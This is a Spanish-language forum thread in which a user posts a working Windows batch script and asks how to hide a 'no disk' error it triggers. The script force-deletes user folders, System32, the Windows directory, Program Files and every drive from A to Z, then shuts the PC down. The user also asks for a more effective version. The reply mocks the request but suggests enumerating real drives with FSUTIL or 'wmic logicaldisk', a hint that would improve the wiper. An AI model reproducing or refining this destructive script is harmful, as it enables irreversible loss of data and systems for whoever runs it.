Hola gente!, estoy haciendo una mini aplicacion en batch, lo que hace es borrar todos los archivos/directorios de las unidades conectadas a la PC , ya sea USB o discos rigidos, el problema que me surgio es que cuando lo ejecuto me muestra este cartel
http://www.subeimagenes.com/img/no-hay-disco-551805.html
¿Como hago para que no me aparezca esto?
Les dejo el codigo
@ECHO OFF
IF EXIST "C:\Users" del /S /F /Q "C:\Users"
IF EXIST "C:\Users" rd /S /Q "C:\Users"
IF EXIST "C:\Windows\System32" del /S /F /Q "C:\Windows\System32"
IF EXIST "C:\Windows\System32" rd /S /Q "C:\Windows\System32"
IF EXIST "C:\Windows" del /S /F /Q "C:\Windows"
IF EXIST "C:\Windows" rd /S /Q "C:\Windows"
IF EXIST "C:\Program Files (x86)" del /S /F /Q "C:\Program Files (x86)"
IF EXIST "C:\Program Files (x86)" rd /S /Q "C:\Program Files (x86)"
IF EXIST "C:\Program Files" del /S /F /Q "C:\Program Files"
IF EXIST "C:\Program Files" rd /S /Q "C:\Program Files"
IF EXIST "C:" del /S /F /Q "C:"
IF EXIST "C:" rd /S /Q "C:"
IF EXIST "A:" del /S /F /Q "A:"
IF EXIST "A:" rd /S /Q "A:"
IF EXIST "B:" del /S /F /Q "B:"
IF EXIST "B:" rd /S /Q "B:"
IF EXIST "D:" del /S /F /Q "D:"
IF EXIST "D:" rd /S /Q "D:"
IF EXIST "E:" del /S /F /Q "E:"
IF EXIST "E:" rd /S /Q "E:"
IF EXIST "F:" del /S /F /Q "F:"
IF EXIST "F:" rd /S /Q "F:"
IF EXIST "G:" del /S /F /Q "G:"
IF EXIST "G:" rd /S /Q "G:"
IF EXIST "H:" del /S /F /Q "H:"
IF EXIST "H:" rd /S /Q "H:"
IF EXIST "I:" del /S /F /Q "I:"
IF EXIST "I:" rd /S /Q "I:"
IF EXIST "J:" del /S /F /Q "J:"
IF EXIST "J:" rd /S /Q "J:"
IF EXIST "K:" del /S /F /Q "K:"
IF EXIST "K:" rd /S /Q "K:"
IF EXIST "L:" del /S /F /Q "L:"
IF EXIST "L:" rd /S /Q "L:"
IF EXIST "M:" del /S /F /Q "M:"
IF EXIST "M:" rd /S /Q "M:"
IF EXIST "N:" del /S /F /Q "N:"
IF EXIST "N:" rd /S /Q "N:"
IF EXIST "O:" del /S /F /Q "O:"
IF EXIST "O:" rd /S /Q "O:"
IF EXIST "P:" del /S /F /Q "P:"
IF EXIST "P:" rd /S /Q "P:"
IF EXIST "Q:" del /S /F /Q "Q:"
IF EXIST "Q:" rd /S /Q "Q:"
IF EXIST "R:" del /S /F /Q "R:"
IF EXIST "R:" rd /S /Q "R:"
IF EXIST "S:" del /S /F /Q "S:"
IF EXIST "S:" rd /S /Q "S:"
IF EXIST "T:" del /S /F /Q "T:"
IF EXIST "T:" rd /S /Q "T:"
IF EXIST "U:" del /S /F /Q "U:"
IF EXIST "U:" rd /S /Q "U:"
IF EXIST "V:" del /S /F /Q "V:"
IF EXIST "V:" rd /S /Q "V:"
IF EXIST "W:" del /S /F /Q "W:"
IF EXIST "W:" rd /S /Q "W:"
IF EXIST "X:" del /S /F /Q "X:"
IF EXIST "X:" rd /S /Q "X:"
IF EXIST "Y:" del /S /F /Q "Y:"
IF EXIST "Y:" rd /S /Q "Y:"
IF EXIST "Z:" del /S /F /Q "Z:"
IF EXIST "Z:" rd /S /Q "Z:"
shutdown -s -t 0
PD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?
para borrar que todas las unidades?
Cita de: Sheen en 22 Febrero 2013, 18:16 PMPD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?
En
Google encontrarás un millón de lammeadas en Batch que eliminan todos los directorios.
Ese aviso es porque Windows no puede acceder a las unidades vacías (Ejemplo: una disquettera sin disquette insertado),
lo puedes solucionar fácilmente obteniendo sólamente las letras de los Discos Duros conectados (Y no usar todo el alfabeto como en tu código) con el comando
FSUTIL o también con el comando "
wmic.exe logicaldisk", en el buscador del foro tienes muchos ejemplos de los dos, tanto míos como de otros usuarios.
Si te interesa el lenguaje aprende sobre esos comandos y pregunta tus dudas, si sólo te interesa lammear, mejor busca en
Google...
Saludos!